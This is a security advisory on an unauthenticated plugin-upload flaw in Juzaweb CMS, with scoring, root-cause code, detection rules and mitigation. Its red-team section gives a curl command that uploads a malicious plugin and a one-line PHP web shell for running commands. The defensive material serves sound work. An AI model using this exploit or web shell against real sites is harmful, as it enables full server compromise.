CVE-2025-5429

Executive Summary

CVE-2025-5429 is a critical improper access control vulnerability in Juzaweb CMS versions up to and including 3.4.2. The flaw resides in the /admin-cp/plugin/install endpoint, allowing unauthenticated remote attackers to install arbitrary plugins. This can lead to full site compromise, including remote code execution via malicious plugin upload. The vendor has not responded to disclosure, leaving all installations exposed. No official patch exists; mitigation relies on manual access controls or migration.

Supply Chain & Package Security

Juzaweb CMS is a PHP-based content management system distributed via GitHub and Composer. The vulnerability affects the core plugin installation mechanism, which lacks proper authentication checks. Since the vendor is unresponsive, the supply chain risk is elevated: any third-party plugin or theme could be exploited to gain initial access. Users should audit all installed plugins and consider forking the project to apply custom patches.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requiring no authentication. An attacker can upload a malicious plugin and execute arbitrary PHP code, leading to full server takeover.

Deep Dive & Mechanics

The vulnerability exists in the file /admin-cp/plugin/install. The endpoint is intended for administrators to install plugins, but it fails to verify the user's session or role. The code likely processes a ZIP file upload or a plugin package URL without checking if the requester is authenticated.

Root Cause: Missing access control checks on the plugin installation route. The application does not call any authentication middleware or session validation before handling the plugin installation logic.

Attack Flow:

1. Attacker identifies a Juzaweb CMS instance (e.g., via Shodan or Google dork).
2. Attacker crafts a malicious plugin ZIP containing a PHP web shell.
3. Attacker sends a POST request to /admin-cp/plugin/install with the plugin file.
4. The server extracts and installs the plugin, making the web shell accessible.
5. Attacker accesses the web shell to execute arbitrary commands.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common access control patterns.

Vulnerable Code (conceptual):

// /admin-cp/plugin/install
public function install() {
    $pluginFile = $_FILES['plugin'];
    // No authentication check
    $this->extractAndInstall($pluginFile);
}

Patched Code (conceptual):

// /admin-cp/plugin/install
public function install() {
    if (!Auth::check() || !Auth::user()->isAdmin()) {
        http_response_code(403);
        die('Access denied');
    }
    $pluginFile = $_FILES['plugin'];
    $this->extractAndInstall($pluginFile);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Juzaweb CMS 3.4.2 or earlier running on a test server.
• A malicious plugin ZIP file (e.g., evil-plugin.zip containing shell.php).

Exploit Steps:

1. Identify target: https://target.com/admin-cp/plugin/install
2. Upload malicious plugin:

curl -X POST -F "plugin=@evil-plugin.zip" https://target.com/admin-cp/plugin/install

3. Access web shell: https://target.com/plugins/evil-plugin/shell.php?cmd=id

Malicious Plugin Structure:

evil-plugin.zip
├── plugin.json
└── shell.php

plugin.json:

{
    "name": "Evil Plugin",
    "version": "1.0.0"
}

shell.php:

<?php system($_GET['cmd']); ?>

Blue Team

Detection:

• Monitor for POST requests to /admin-cp/plugin/install from unauthenticated IPs.
• Alert on ZIP file uploads to that endpoint.
• Check for unexpected plugin directories under /plugins/.

Honeypot:

• Deploy a fake /admin-cp/plugin/install endpoint that logs all requests and blocks IPs.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin-cp/plugin/install without a session cookie.
  • Outbound connections from the server to unknown IPs after plugin installation.
• File System:
  • Unexpected directories under /plugins/ (e.g., /plugins/evil-plugin/).
  • Files with suspicious names like shell.php, cmd.php, backdoor.php.
• Logs:
  • Access logs showing POST /admin-cp/plugin/install with 200 response.
  • Error logs showing plugin extraction errors.

Detection Engineering

YARA Rule

rule CVE_2025_5429_Plugin_Upload {
    meta:
        description = "Detects malicious plugin ZIP files targeting Juzaweb CMS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5429"
    strings:
        $zip_magic = { 50 4B 03 04 }
        $php_shell = "system("
        $php_cmd = "cmd="
    condition:
        $zip_magic at 0 and ($php_shell or $php_cmd)
}

Sigma Rule

title: Juzaweb CMS Unauthenticated Plugin Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to /admin-cp/plugin/install
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin-cp/plugin/install
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is bypassed)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-5429 - Juzaweb CMS Unauthenticated Plugin Upload";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin-cp/plugin/install";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Plugin Installation: Remove or rename the /admin-cp/plugin/install endpoint.
2. Web Application Firewall (WAF): Block POST requests to /admin-cp/plugin/install from non-admin IPs.
3. Access Control: Implement IP whitelisting for the admin panel.

Long-term Fix:

• Since the vendor is unresponsive, fork the repository and add authentication checks to the plugin installation route.
• Monitor for official patches or migrate to an alternative CMS.

Compromise Assessment:

• Check for unexpected plugins in /plugins/.
• Review server logs for unauthorized access.
• Scan for web shells using YARA rules.

Valters IT